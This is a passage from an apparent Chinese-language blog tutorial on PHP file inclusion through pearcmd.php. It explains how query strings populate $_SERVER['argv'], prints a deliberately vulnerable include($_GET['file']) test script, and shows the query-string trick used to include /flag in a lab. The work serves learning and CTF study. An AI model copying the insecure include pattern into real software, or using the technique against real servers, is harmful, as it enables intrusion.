class=\"line\"><span>ls /etc/php //先查看版本，我这里是8.4</span></span>\n<span class=\"line\"><span>sudo nano /etc/php/8.4/apache2/php.ini //apache2服务</span></span>\n<span class=\"line\"><span>//sudo nano /etc/php/8.4/fpm/php.ini Nginx(php-fpm)服务</span></span>\n<span class=\"line\"><span>然后找到并修改register_argc_argv = On</span></span>\n<span class=\"line\"><span>sudo systemctl restart apache2 //重启web服务（apache）</span></span>\n<span class=\"line\"><span>//sudo systemctl restart php8.4-fpm （Nginx）</span></span></code></pre>\n<p>这样操作之后我们的pearcmd.php文件会储存在<code>/usr/share/php/pearcmd.php</code>里面，不过一般来说也可能储存在<code>/usr/local/lib/php/pearcmd.php</code>这个路径下</p>\n<p>接下来需要跟着p神的文章(<a href=\"https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html\">https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html</a>)了解一下pearcmd.php的原理：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">static</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> zend_bool</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> php_auto_globals_create_server</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">zend_string</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">name</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:rgba(255, 18, 18, 0.8);--shiki-dark:rgba(255, 18, 18, 0.8)\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">variables_order</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strchr</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">variables_order</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">S</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ||</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> strchr</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">variables_order</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">        php_register_server_variables</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">register_argc_argv</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">SG</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">request_info</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argc</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">                zval</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argc</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argv</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argc</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> zend_hash_find_ex_ind</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">EG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">symbol_table</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZSTR_KNOWN</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZEND_STR_ARGC</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> NULL</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                    </span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argv</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> zend_hash_find_ex_ind</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">EG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">symbol_table</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZSTR_KNOWN</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZEND_STR_ARGV</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> NULL</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">                    Z_ADDREF_P</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">argv</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">                    zend_hash_update</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">Z_ARRVAL</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZSTR_KNOWN</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZEND_STR_ARGV</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> argv</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">                    zend_hash_update</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">Z_ARRVAL</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> ZSTR_KNOWN</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">ZEND_STR_ARGC</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> argc</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                </span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> else</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">                php_build_argv</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">SG</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">request_info</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">query_string</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">)</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">]</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> else</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">        zval_ptr_dtor_nogc</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">        array_init</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    ...</span></span></code></pre>\n<p>第一个if语句判断<code>variables_order</code>中是否有<code>S</code>，即<code>$_SERVER</code>变量；第二个if语句判断是否开启register_argc_argv，第三个if语句判断是否有request_info.argc存在，如果不存在，其执行的是这条语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">php_build_argv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">SG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">request_info</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">query_string</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;</span><span style=\"color:#59873A;--shiki-dark:#80A665\">PG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">http_globals</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">TRACK_VARS_SERVER</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>根据P神的试验结果，<code>SG(request_info).query_string</code>会将http数据包中的query_string作为argv的值：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">include</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SERVER</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">argv</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/9.png\" class=\"\"></p>\n<p>如果我们直接在URL传参<code>/?file=1 2 3</code>那么就会出现这种结果，不过如果用+代替空格会产生另一种结果：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/10.png\" class=\"\"></p>\n<p>可以看到这个数组从一个键值对变成了三个键值对，他们通过加号隔断</p>\n<p>不过用POST传参就不能储存在<code>$_SERVER['argv']</code>中了</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/11.png\" class=\"\"></p>\n<p>实验到这里就有一种有关本漏洞的技巧了：</p>\n<p>为了方便展示文件成功被包含，所以直接包含了/flag作为文件</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/12.png\" class=\"\"></p>\n<p>这就很有意思了，<code>&amp;</code>符号连接使/flag成功作为file的值</p>\n<p>接下来我们看到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>RFC3875中规定，如果query-string中不包含没有编码的=，且请求是GET或HEAD，则query-string需要被作为命令行参数。</span></span>\n<span class=\"line\"><span>PHP现在仍然没有严格按照RFC来处理，即使我们传入的query-string包含等号，也仍会被赋值给$_SERVER['argv']</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> static</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> readPHPArgv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    global</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!</span><span style=\"color:#998418;--shiki-dark:#B8A965\">is_array</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!@</span><span style=\"color:#998418;--shiki-dark:#B8A965\">is_array</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SERVER</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">argv</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">]</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!@</span><span style=\"color:#998418;--shiki-dark:#B8A965\">is_array</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">GLOBALS</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">HTTP_SERVER_VARS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">]</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">argv</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#296aa3;--shiki-dark:#6394bf\">]</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">                $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">msg</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Could not read cmd args (register_argc_argv=Off?)</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> PEAR</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">::</span><span style=\"color:#59873A;--shiki-dark:#80A665\">raiseError</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Console_Getopt: </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">msg</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span 